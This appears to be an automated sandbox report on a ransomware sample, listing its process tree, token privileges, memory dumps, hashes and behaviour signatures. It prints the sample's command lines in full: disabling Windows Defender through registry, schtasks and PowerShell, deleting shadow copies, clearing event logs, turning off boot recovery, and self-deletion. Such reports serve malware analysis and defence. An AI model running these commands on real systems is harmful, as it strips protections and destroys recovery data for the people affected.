Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 812 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 544 wrote to memory of 784 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 544 wrote to memory of 784 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 544 wrote to memory of 784 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 484 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 484 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 484 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 484 wrote to memory of 1248 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 484 wrote to memory of 1248 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 484 wrote to memory of 1248 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 576 wrote to memory of 1368 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 576 wrote to memory of 1368 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 576 wrote to memory of 1368 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 836 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 836 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 836 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 836 wrote to memory of 864 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 836 wrote to memory of 864 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 836 wrote to memory of 864 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 1400 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 1400 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 1400 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 1400 wrote to memory of 1316 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1400 wrote to memory of 1316 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1400 wrote to memory of 1316 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 988 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 988 wrote to memory of 1480 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 988 wrote to memory of 1480 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 988 wrote to memory of 1480 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 1056 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 1056 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 1056 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 1056 wrote to memory of 1756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1056 wrote to memory of 1756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1056 wrote to memory of 1756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 812 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\net.exe
PID 1556 wrote to memory of 2024 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1556 wrote to memory of 2024 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1556 wrote to memory of 2024 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 812 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe
PID 812 wrote to memory of 560 N/A C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe

"C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\system32\notepad.exe

notepad.exe C:\sXhL_HOW_TO_DECRYPT.txt

C:\Windows\system32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

N/A

Files

memory/544-54-0x0000000000000000-mapping.dmp

memory/784-55-0x0000000000000000-mapping.dmp

memory/484-56-0x0000000000000000-mapping.dmp

memory/1248-57-0x0000000000000000-mapping.dmp

memory/576-58-0x0000000000000000-mapping.dmp

memory/1368-59-0x0000000000000000-mapping.dmp

memory/836-60-0x0000000000000000-mapping.dmp

memory/864-61-0x0000000000000000-mapping.dmp

memory/1400-62-0x0000000000000000-mapping.dmp

memory/1316-63-0x0000000000000000-mapping.dmp

memory/988-64-0x0000000000000000-mapping.dmp

memory/1480-65-0x0000000000000000-mapping.dmp

memory/1056-66-0x0000000000000000-mapping.dmp

memory/1756-67-0x0000000000000000-mapping.dmp

memory/1556-68-0x0000000000000000-mapping.dmp

memory/2024-69-0x0000000000000000-mapping.dmp

memory/1268-70-0x0000000000000000-mapping.dmp

memory/1628-71-0x0000000000000000-mapping.dmp

memory/1696-72-0x0000000000000000-mapping.dmp

memory/2040-73-0x0000000000000000-mapping.dmp

memory/1952-74-0x0000000000000000-mapping.dmp

memory/560-75-0x0000000000000000-mapping.dmp

memory/1724-76-0x0000000000000000-mapping.dmp

memory/968-77-0x0000000000000000-mapping.dmp

memory/1740-78-0x0000000000000000-mapping.dmp

memory/1736-79-0x0000000000000000-mapping.dmp

memory/2036-80-0x0000000000000000-mapping.dmp

memory/776-81-0x0000000000000000-mapping.dmp

memory/1492-82-0x0000000000000000-mapping.dmp

memory/1372-83-0x0000000000000000-mapping.dmp

memory/688-84-0x0000000000000000-mapping.dmp

memory/1776-85-0x0000000000000000-mapping.dmp

memory/1120-86-0x0000000000000000-mapping.dmp

memory/1480-87-0x0000000000000000-mapping.dmp

memory/1512-88-0x0000000000000000-mapping.dmp

memory/632-89-0x0000000000000000-mapping.dmp

memory/1008-90-0x0000000000000000-mapping.dmp

memory/1348-91-0x0000000000000000-mapping.dmp

memory/1720-92-0x0000000000000000-mapping.dmp

memory/972-93-0x0000000000000000-mapping.dmp

memory/1932-94-0x0000000000000000-mapping.dmp

memory/908-95-0x0000000000000000-mapping.dmp

memory/1692-96-0x0000000000000000-mapping.dmp

memory/1704-97-0x0000000000000000-mapping.dmp

memory/1240-98-0x0000000000000000-mapping.dmp

memory/1856-99-0x0000000000000000-mapping.dmp

memory/1116-100-0x0000000000000000-mapping.dmp

memory/840-101-0x0000000000000000-mapping.dmp

memory/1500-102-0x0000000000000000-mapping.dmp

memory/548-103-0x0000000000000000-mapping.dmp

memory/1936-104-0x0000000000000000-mapping.dmp

memory/1484-105-0x0000000000000000-mapping.dmp

memory/756-106-0x0000000000000000-mapping.dmp

memory/584-107-0x0000000000000000-mapping.dmp

memory/1368-108-0x0000000000000000-mapping.dmp

memory/1028-109-0x0000000000000000-mapping.dmp

memory/1156-110-0x0000000000000000-mapping.dmp

memory/1944-111-0x0000000000000000-mapping.dmp

memory/672-112-0x0000000000000000-mapping.dmp

memory/672-113-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

memory/1352-114-0x0000000000000000-mapping.dmp

memory/1780-116-0x0000000000000000-mapping.dmp

memory/580-118-0x0000000000000000-mapping.dmp

memory/1792-119-0x0000000000000000-mapping.dmp

memory/2060-120-0x0000000000000000-mapping.dmp

memory/2156-123-0x0000000002500000-0x0000000002502000-memory.dmp

memory/2156-124-0x0000000002502000-0x0000000002504000-memory.dmp

memory/2156-125-0x0000000002504000-0x0000000002507000-memory.dmp

memory/2156-122-0x000007FEF2A00000-0x000007FEF355D000-memory.dmp

memory/2156-126-0x000000000250B000-0x000000000252A000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 3c5d82ef73b909bea078e1756cb06b5f
SHA1 6ba2c032e5171e3c250aaeb543901f997e0591fa
SHA256 fd23d861e6a893156dfef0125dea8ee2cde4234821408165e0bed28b93bfb651
SHA512 b070aad8efdbabccdd582df46539350455d652536a76d48ca094e9d33d72b30af78fa748f663a78e2ff53813e72af4f4a208da8518f4f87ab48ef10edbdcd912

memory/2244-129-0x000007FEF2060000-0x000007FEF2BBD000-memory.dmp

memory/2244-130-0x00000000026A0000-0x00000000026A2000-memory.dmp

memory/2244-132-0x00000000026A4000-0x00000000026A7000-memory.dmp

memory/2244-133-0x00000000026AB000-0x00000000026CA000-memory.dmp

memory/2244-131-0x00000000026A2000-0x00000000026A4000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-13 13:51

Reported

2022-01-13 13:56

Platform

win10-en-20211208

Max time kernel

110s

Max time network

164s

Command Line

"C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\ExportSuspend.png.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_bsVlQdKjskI0.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
File renamed C:\Users\Admin\Pictures\PingAssert.tiff => C:\Users\Admin\Pictures\PingAssert.tiff.RGKanvYgXjBgNEqzROm64IUC6Ck2EiTvrlczGEJ2GOr_Iy9FB2l6Jj40.rmvlh C:\Users\Admin\AppData\Local\Temp\edf2a5884966065ed47411a82df4c2b41bbbd217ea568be99ab72f6c10f4c050.exe N/A
